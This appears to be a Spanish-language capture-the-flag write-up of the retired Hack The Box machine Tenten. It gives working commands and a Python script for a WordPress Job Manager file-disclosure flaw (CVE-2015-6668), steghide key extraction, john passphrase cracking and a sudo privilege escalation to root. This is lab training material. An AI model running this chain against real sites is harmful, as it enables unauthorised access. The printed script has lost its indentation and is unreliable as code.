Hack The Box – Tenten

⭐Tenten – Hack The Box Write-up ⭐

HTB Difficulty OS Category

En este write-up compartié el proceso de explotación de la máquina **Tenten** de Hack The Box, que combina vulnerabilidades en plugins de WordPress, técnicas de esteganografía para exfiltrar claves SSH, y escalada de privilegios mediante un binario SUID mal configurado.

Nivel: Media
SO: Linux (Ubuntu)
Dirección IP: 10.10.10.10
Categoría: CTF / Retirada
Etiquetas: WordPress, CVE-2015-6668, Esteganografía, Claves SSH, Escalada de privilegios, Binarios SUID

Descripción general

Este write-up cubre la explotación de la máquina Tenten de Hack The Box, que incluye vulnerabilidades en plugins de WordPress, análisis de esteganografía para extraer claves SSH, y escalada de privilegios a través de un binario SUID mal configurado.

Fases del ataque

1. Enumeración

Escaneo de puertos

sudo nmap -sS -Pn -T4 –min-rate=1000 -p 22,80,443,8080,3306 10.10.10.10

Enumerar con Nmap
Enumerar con Nmap

Puertos abiertos:

  • 22/tcp – SSH
  • 80/tcp – HTTP

Hostname local

Se añade tenten.htb al fichero /etc/hosts para poder resolver su nombre y acceder desde el navegador:

echo «10.10.10.10 tenten.htb» | sudo tee -a /etc/hosts

Visualización web tenten.htb
Visualización web tenten.htb

2. Análisis Web

CMS: WordPress

Enumeración con WPScan

wpscan –url http://tenten.htb/ -e u –disable-tls-checks
wpscan –url http://tenten.htb/ -e ap –plugins-detection aggressive –api-token TU_TOKEN

Resultados:       

  • Usuario identificado: takis
  • Plugin vulnerable: job-manager v0.7.25
  • CVE: CVE-2015-6668 (file disclosure)
Obtención de datos y nombre de usuario
Obtención de datos y nombre de usuario

Obtención de datos y nombre de usuario

Modulo Job Manager
Modulo Job Manager

3. Explotación del plugin vulnerable

El plugin Job Manager de WordPress permite leer archivos arbitrarios usando rutas predecibles. Buscando información sobre este plugin, encontramos que tenemos una posibilidades de hacer fuerza bruta para descubrir posibles archivos subidos.

Uso el script del exploit compartido de la web vagmour.eu a la cual accedo usando Wayback machine. Hago algunos cambios al script para adaptarlo a python3, puesto que estaba programado para python2. Por otro lado, también cambio el rango de fechas en el bucle for porque las publicaciones de la web de tenten.htb son posteriores a ese rango. También añado las extensiones de imagen para que busque archivos de esos formatos y zip por si hubiera algún archivo comprimido interesante.

Creamos un script llamado exploit.py que automatiza la búsqueda de estos archivos en el directorio /wp-content/uploads/, iterando por años, meses y extensiones comunes como .pdf, .doc o .docx.

# exploit.py

import requests

print(«»»
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Versions: <=0.7.25
«»»)

website = raw_input(‘Enter a vulnerable website: ‘)
filename = raw_input(‘Enter a file name: ‘)

filename2 = filename.replace(» «, «-«)

for year in range(2017, 2023):
for i in range(1, 13):
for extension in {‘doc’, ‘pdf’, ‘docx’}:
URL = website + «/wp-content/uploads/» + str(year) + «/» + «{:02}».format(i) + «/» + filename2 + «.» + extension
req = requests.get(URL)
if req.status_code == 200:
print(«[+] URL of CV found! » + URL)

Le damos permisos de ejecución:
chmod +x exploit.py

Y lo ejecutamos:

python3 exploit.py

Nos pedirá el sitio web  y el nombre del archivo.

El nombre del archivo lo encontramos ejecutando un script en bash que realiza peticiones iterativas con curl .

Script en bash usando curl para buscar archivos:

for i in $(seq 1 20); do
echo -n «$i: «;
curl -sL http://tenten.htb/index.php/jobs/apply/$i/ | grep ‘<title>’;
done

Archivo detectado: HackerAccessGranted.jpg y en página 13.

Archivo detectado
Archivo detectado

Volvemos a ejecutar el exploit y ahora ya sí podemos poner el nombre del archivo HackerAccessGranted además de la url.

URL del archivo asociado encontrado
Encontramos la URL del archivo asociado encontrado

Abrimos la URL y obtenemos esta imagen como resultado:

Resultado encontrado:

FOUND: /wp-content/uploads/2017/04/HackerAccessGranted.jpg
Abrimos la ruta del archivo encontrado
Abrimos la ruta del archivo encontrado

4. Esteganografía y clave SSH

De esta imagen encontrada, vamos a extraer  los datos ocultos de la imagen con Steghide. La esteganografía es una técnica que se usa para ocultar información dentro de imágenes.

wget http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg

Mediante el parámetro info de stenghide descubrimos que tiene un id rsa oculto . Usamos el parámetro extract para extraer esa rsa.

steghide extract -sf HackerAccessGranted.jpg

Extraemos los datos ocultos con Stengheid
Extraemos los datos ocultos con Stengheid

Resultado: clave privada SSH extraída.

Abrimos el contenido del archivo id rsa y vemos que está encriptado y el algoritmo de encriptación que está usando.

Crack de passphrase:

Abrimos el archivo y nos devuelve un hash. Mediante fuerza bruta con John, obtenemos la contraseña en texto plano.

/usr/share/john/ssh2john.py id_rsa > id_rsa.hash

john –w:/usr/share/wordlists/rockyou.txt id_rsa.hash

Contraseña encontrada: superpassword  

Usamos John para romper el hash
Usamos John para romper el hash

Acceso SSH:

Usando la contraseña obtenida, podemos conectarnos por SSH. Lo hacemos usando el archivo id_rsa de identificación, cuya contraseña desencriptamos en el paso anterior, y el usuario takis.

Antes de ello, le asignamos permisos chmod para que no entre en conflicto:

chmod 600 id_rsa

Asignamos permisos chmod

ssh -i id_rsa takis@tenten.htb

Tras obtener acceso, obtenemos la flag del usuario.

Flag de usuario Takis
Flag de usuario Takis

5. Escalada de privilegios

Una vez conectados como el usuario takis vía SSH, el siguiente paso fue buscar una forma de escalar privilegios. Ejecutando el comando id veo que entre otros, el usuario takis pertenece al grupo lxd, lo cual llama la atención porque si hacemos una búsqueda con searchsploit, vemos que es para escalada de privilegios.

Searchsploit lxd
Searchsploit lxd

Sin embargo, voy a proceder de otra manera.

Usamos sudo -l para listar los privilegios que voy a tener como usuario takis:

Privilegios como usuario
Privilegios como usuario

Y comprobamos que tenemos permiso sudo sin contraseña sobre el binario: /bin/fuckin

User takis may run the following commands on tenten:
(ALL : ALL) NOPASSWD: /bin/fuckin

Esto significa que el usuario puede ejecutar el binario /bin/fuckin como root y sin necesidad de contraseña.

Y, posteriormente, comprobamos que root es el propietario de este binario:

Comprobamos que root es el propietario de /bin/fucking
Comprobamos que root es el propietario de /bin/fuckin

Shell root:

Si listo el contenido del binario, veo que tengo permiso de lectura y que es un scritp en bash al que puedo pasarle argumentos.

Contenido binario /bin/fuckin

Y ya que en este binario puedo ejecutar como el usuario que quiera, sin proporcionar contraseña, podemos hacerlo con sudo para que me lo ejecute root.

Así que obtenemos una shell interactiva como root:

sudo /bin/fuckin bash

Ya estamos como root y obtenemos la flag de usuario root.

Escalada a root y obtención de flag.
Escalada a root y obtención de flag.

🏁 Flags

  • User: /home/takis/user.txt
  • Root: /root/root.txt

Herramientas utilizadas

  • Reconocimiento: nmap, wpscan, curl
  • Explotación: Python script, steghide
  • Cracking: john, ssh2john
  • Post-explotación: ssh, sudo

Conclusiones

  • Plugins de WordPress mal configurados pueden permitir divulgación de archivos.
  • La esteganografía es útil para ocultar datos sensibles en entornos CTF.
  • Es importante revisar los permisos sudo y los binarios SUID.

⚠️ Disclaimer

Este artículo tiene fines únicamente educativos. No uses estos métodos en sistemas que no poseas o no tengas autorización para analizar.

Nota: Por respeto a los Términos de Servicio de Hack The Box y por razones legales, no publico write-ups de máquinas activas («active»), ya que esto constituye una infracción de sus políticas.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *